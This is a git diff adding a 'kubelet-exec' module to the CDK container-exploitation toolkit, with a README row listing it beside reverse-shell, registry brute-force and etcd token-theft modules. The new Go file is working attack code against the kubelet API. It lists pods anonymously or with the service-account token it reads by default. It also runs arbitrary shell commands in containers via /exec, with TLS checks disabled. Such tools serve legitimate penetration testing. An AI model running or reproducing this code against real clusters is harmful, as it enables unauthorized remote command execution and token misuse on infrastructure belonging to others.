diff --git a/README.md b/README.md index 5a51af3..2a2d289 100644 --- a/README.md +++ b/README.md @@ -135,6 +135,7 @@ cdk run [options] | Discovery | Dump Istio Sidecar Meta | istio-check | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-check-istio) | | Discovery | Dump K8s Pod Security Policies | k8s-psp-dump | ✔ || [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-psp-dump) | | Remote Control | Reverse Shell | reverse-shell | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-reverse-shell) | +| Remote Control | Kubelet Exec | kubelet-exec | ✔ | ✔ | | | Credential Access | Registry BruteForce | registry-brute | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-Container-Image-Registry-Brute) | | Credential Access | Access Key Scanning | ak-leakage | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-ak-leakage) | | Credential Access | Etcd Get K8s Token | etcd-get-k8s-token | ✔ | ✔ | | diff --git a/pkg/exploit/kubelet_exec.go b/pkg/exploit/kubelet_exec.go new file mode 100644 index 0000000..3c6840b --- /dev/null +++ b/pkg/exploit/kubelet_exec.go @@ -0,0 +1,200 @@ +//go:build !no_kubelet_exec +// +build !no_kubelet_exec + +/* +Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package exploit + +import ( + "crypto/tls" + "fmt" + "io/ioutil" + "log" + "net/http" + "net/url" + "sort" + "strings" + "time" + + "github.com/cdk-team/CDK/conf" + "github.com/cdk-team/CDK/pkg/cli" + "github.com/cdk-team/CDK/pkg/plugin" + "github.com/cdk-team/CDK/pkg/tool/kubectl" + "github.com/tidwall/gjson" +) + +type KubeletExec struct{} + +func (p KubeletExec) Desc() string { + var buffer strings.Builder + + buffer.WriteString("Attack the kubelet endpoint.") + buffer.WriteString("Support anonymous access or token designation.") + buffer.WriteString("Usage: cdk run kubelet-exec (list|exec) /// ") + + return buffer.String() +} + +func (p KubeletExec) Run() bool { + args := cli.Args[""].([]string) + if len(args) <= 1 { + fmt.Println("Example: cdk run kubelet-exec list http://172.16.61.10:10250") + return false + } + + var flag bool + var token string + switch args[0] { + case "list": + if len(args) == 3 { + token = args[2] + } + flag = listPods(args[1], token) + case "exec": + if len(args) >= 3 { + if len(args) == 4 { + token = args[3] + } + flag = execAction(args[1], token, args[2]) + } + } + return flag +} + +func listPods(target, token string) bool { + opts := kubectl.K8sRequestOption{ + Token: token, + Server: target, + Api: "/pods", + Method: "GET", + } + if opts.Token == "" { + // The local token file is obtained by default. + sysToken, err := kubectl.GetServiceAccountToken(conf.K8sSATokenDefaultPath) + if err != nil { + opts.Anonymous = true + } else { + //log.Println("Use local token:", sysToken) + opts.Token = sysToken + } + } + + resp, err := kubectl.ServerAccountRequest(opts) + if err != nil || !strings.Contains(resp, "items") { + if err != nil { + log.Println(err) + } else { + log.Println("Token authentication failed!") + } + return false + } + + res := make(map[string]string) + pods := gjson.Get(resp, "items").Array() + for _, item := range pods { + pod := item.Get("metadata.name").String() + namespace := item.Get("metadata.namespace").String() + status := item.Get("status.phase").String() + containers := item.Get("spec.containers").Array() + for _, c := range containers { + container := c.Get("name").String() + link := fmt.Sprintf("/%s/%s/%s", namespace, pod, container) + res[link] = status + } + } + if len(res) == 0 { + log.Println("No Pods were obtained.") + return false + } + + fmt.Printf("\n%-80s\t%-10s\n", "Link", "Status") + fmt.Printf("%-80s\t%-10s\n", "----", "------") + var tmplist []string + for k := range res { + tmplist = append(tmplist, k) + } + sort.Strings(tmplist) + for _, k := range tmplist { + if v, ok := res[k]; ok { + fmt.Printf("%-80s\t%-10s\n", k, v) + } + } + fmt.Println() + return false +} + +func execAction(target, token, cmd string) bool { + u, _ := url.Parse(target) + params := strings.Split(u.Path, "/") + if len(params) != 4 { + fmt.Println("Example: cdk run kubelet-exec exec https://172.16.61.10:10250/kube-system/test1/test \"ip addr\"") + return false + } + namespace, pod, container := params[1], params[2], params[3] + req_url := fmt.Sprintf("%s://%s/exec/%s/%s/%s?command=/bin/sh&command=-c&command=%s&error=1&output=1", + u.Scheme, u.Host, namespace, pod, container, url.QueryEscape(cmd)) + + httpclient := &http.Client{ + Transport: &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + Timeout: time.Second * 20, + } + req, err := http.NewRequest("GET", req_url, nil) + if err != nil { + return false + } + if token != "" { + req.Header.Add("Authorization", "Bearer "+strings.TrimSuffix(token, "\n")) + } else { + // The local token file is obtained by default. + sysToken, err := kubectl.GetServiceAccountToken(conf.K8sSATokenDefaultPath) + if err == nil { + //log.Println("Use local token:", sysToken) + req.Header.Add("Authorization", "Bearer "+strings.TrimSuffix(sysToken, "\n")) + } + } + req.Header.Add("Connection", "Upgrade") + req.Header.Add("Upgrade", "websocket") + req.Header.Add("Sec-Websocket-Version", "13") + req.Header.Add("Sec-Websocket-Key", "cdktest") + + resp, err := httpclient.Do(req) + if err != nil { + return false + } + raw, err := ioutil.ReadAll(resp.Body) + if err != nil { + return false + } + + if resp.StatusCode == http.StatusSwitchingProtocols { + if raw[7] == byte(1) { + fmt.Println("\nOutput:\n", string(raw[8:len(raw)-5])) + } else { + fmt.Println("\nOutput:\n", string(raw[6:len(raw)-5])) + } + return true + } + fmt.Println(string(raw)) + return false +} + +func init() { + exploit := KubeletExec{} + plugin.RegisterExploit("kubelet-exec", exploit) +}